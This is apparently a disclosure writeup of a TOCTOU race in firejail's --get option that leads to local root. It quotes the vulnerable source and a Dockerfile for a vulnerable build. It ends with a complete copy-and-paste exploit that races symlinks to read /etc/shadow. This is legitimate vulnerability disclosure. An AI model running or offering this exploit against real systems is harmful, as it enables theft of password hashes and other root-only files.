1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 |
# firejail advisory for TOCTOU in --get and --put (local root) Releasing a brief advisory/writeup about a local root privesc found in firejail that we reported back in Nov, 2016. This is in response to a recent [thread](http://seclists.org/oss-sec/2017/q1/20) on oss-sec where people seem interested in details of firejail security issues. This particular vulnerability was fixed in commit [e152e2d](https://github.com/netblue30/firejail/commit/e152e2d067e17be33c7e82ce438c8ae740af6a66) but no CVE was assigned. ## Vulnerability This is a TOCTOU (race condition) bug when testing access permissions with access() and then calling copy_file(). At the time of discovery, it was clear the code suffered from many insecure coding constructs like this and much more -- but there was no guideline around making security related bug reports (other than using the public issue tracker). ### Code: src/firejail/ls.c ~~~~ void sandboxfs(int op, pid_t pid, const char *path) { EUID_ASSERT(); // if the pid is that of a firejailprocess, use the pid of the first child process EUID_ROOT(); char *comm = pid_proc_comm(pid); EUID_USER(); if (comm) { if (strcmp(comm, "firejail") == 0) { pid_t child; if (find_child(pid, &child) == 0) { pid = child; } } free(comm); } // check privileges for non-root users uid_t uid = getuid(); if (uid != 0) { uid_t sandbox_uid = pid_get_uid(pid); if (uid != sandbox_uid) { fprintf(stderr, "Error: permission denied.\n"); exit(1); } } // full path or file in current directory? char *fname; if (*path == '/') { fname = strdup(path); if (!fname) errExit("strdup"); } else if (*path == '~') { if (asprintf(&fname, "%s%s", cfg.homedir, path + 1) == -1) errExit("asprintf"); } else { fprintf(stderr, "Error: Cannot access %s\n", path); exit(1); } // sandbox root directory char *rootdir; if (asprintf(&rootdir, "/proc/%d/root", pid) == -1) errExit("asprintf"); if (op == SANDBOX_FS_LS) { EUID_ROOT(); // chroot if (chroot(rootdir) < 0) errExit("chroot"); if (chdir("/") < 0) errExit("chdir"); // access chek is performed with the real UID if (access(fname, R_OK) == -1) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } // list directory contents struct stat s; if (stat(fname, &s) == -1) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } if (S_ISDIR(s.st_mode)) { char *rp = realpath(fname, NULL); if (!rp) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } if (arg_debug) printf("realpath %s\n", rp); char *dir; if (asprintf(&dir, "%s/", rp) == -1) errExit("asprintf"); print_directory(dir); free(rp); free(dir); } else { char *rp = realpath(fname, NULL); if (!rp) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } if (arg_debug) printf("realpath %s\n", rp); char *split = strrchr(rp, '/'); if (split) { *split = '\0'; char *rp2 = split + 1; if (arg_debug) printf("path %s, file %s\n", rp, rp2); print_file_or_dir(rp, rp2, 1); } free(rp); } } // get file from sandbox and store it in the current directory else if (op == SANDBOX_FS_GET) { // check source file (sandbox) char *src_fname; if (asprintf(&src_fname, "%s%s", rootdir, fname) == -1) errExit("asprintf"); EUID_ROOT(); struct stat s; if (stat(src_fname, &s) == -1) { fprintf(stderr, "Error: Cannot access %s\n", fname); exit(1); } // try to open the source file - we need to chroot pid_t child = fork(); if (child < 0) errExit("fork"); if (child == 0) { // chroot if (chroot(rootdir) < 0) errExit("chroot"); if (chdir("/") < 0) errExit("chdir"); // drop privileges drop_privs(0); // try to read the file if (access(fname, R_OK) == -1) { fprintf(stderr, "Error: Cannot read %s\n", fname); exit(1); } exit(0); } // wait for the child to finish int status = 0; waitpid(child, &status, 0); if (WIFEXITED(status) && WEXITSTATUS(status) == 0); else exit(1); EUID_USER(); // check destination file (host) char *dest_fname = strrchr(fname, '/'); if (!dest_fname || *(++dest_fname) == '\0') { fprintf(stderr, "Error: invalid file name %s\n", fname); exit(1); } if (access(dest_fname, F_OK) == -1) { // try to create the file FILE *fp = fopen(dest_fname, "w"); if (!fp) { fprintf(stderr, "Error: cannot create %s\n", dest_fname); exit(1); } fclose(fp); } else { if (access(dest_fname, W_OK) == -1) { fprintf(stderr, "Error: cannot write %s\n", dest_fname); exit(1); } } // copy file EUID_ROOT(); copy_file(src_fname, dest_fname, getuid(), getgid(), 0644); printf("Transfer complete\n"); EUID_USER(); } free(fname); free(rootdir); exit(0); } ~~~~ ### Code: src/firejail/util.c ~~~~ int copy_file(const char *srcname, const char *destname, uid_t uid, gid_t gid, mode_t mode) { assert(srcname); assert(destname); // open source int src = open(srcname, O_RDONLY); if (src < 0) { fprintf(stderr, "Warning: cannot open %s, file not copied\n", srcname); return -1; } // open destination int dst = open(destname, O_CREAT|O_WRONLY|O_TRUNC, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); if (dst < 0) { fprintf(stderr, "Warning: cannot open %s, file not copied\n", destname); close(src); return -1; } // copy ssize_t len; static const int BUFLEN = 1024; unsigned char buf[BUFLEN]; while ((len = read(src, buf, BUFLEN)) > 0) { int done = 0; while (done != len) { int rv = write(dst, buf + done, len - done); if (rv == -1) { close(src); close(dst); return -1; } done += rv; } } if (fchown(dst, uid, gid) == -1) errExit("fchown"); if (fchmod(dst, mode) == -1) errExit("fchmod"); close(src); close(dst); return 0; } </snip> ~~~~ ## Testing ### Our Dockerfile ~~~~ FROM ubuntu:latest ENV wdir /root/firejail RUN apt-get update && apt-get install -y git gcc make RUN useradd -ms /bin/bash daniel && echo "daniel:password" | chpasswd RUN git clone https://github.com/netblue30/firejail.git ${wdir} WORKDIR ${wdir} RUN git reset --hard 81467143ee9c47d9c90e97fb55baf2d47702d372 RUN ./configure && make && make install ~~~~ ### Our exploit This will exploit the --get command to read /etc/shadow and print back to the console. Just copy and paste into your shell: ~~~~ #dropper cat > gexp.sh <<GUEST_JAIL_SCRIPT_EOF mkdir -p /tmp/exploit cat > /tmp/exploit/gaolbreak.c <<TOCTOU_POC_END #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> int main(int argc, char **argv) { char *fl = "/etc/shadow"; if(argc > 1) { fl = argv[1]; } while(1) { int fd = open("owned", O_CREAT | O_RDWR, 0777); if(fd == -1) { perror("open"); exit(1); } close(fd); remove("owned"); symlink(fl, "owned"); remove("owned"); } } TOCTOU_POC_END cd /tmp/exploit gcc ./gaolbreak.c -o gaolbreak # XXX: change argv[1] to whatever you want ./gaolbreak /etc/shadow GUEST_JAIL_SCRIPT_EOF # run the dropper (symlink attack) in a jail chmod +x ./gexp.sh firejail --noprofile --force --name=el ./gexp.sh & # win race using the vulnerable 'firejail --get' command. mkdir exploitel cd exploitel while [ 1 ] ; do nice -n 19 firejail --get=$(pgrep -f '^firejail.*--name=el' -n) /tmp/exploit/owned >/dev/null 2>&1; cat owned 2>/dev/null; done ~~~~ |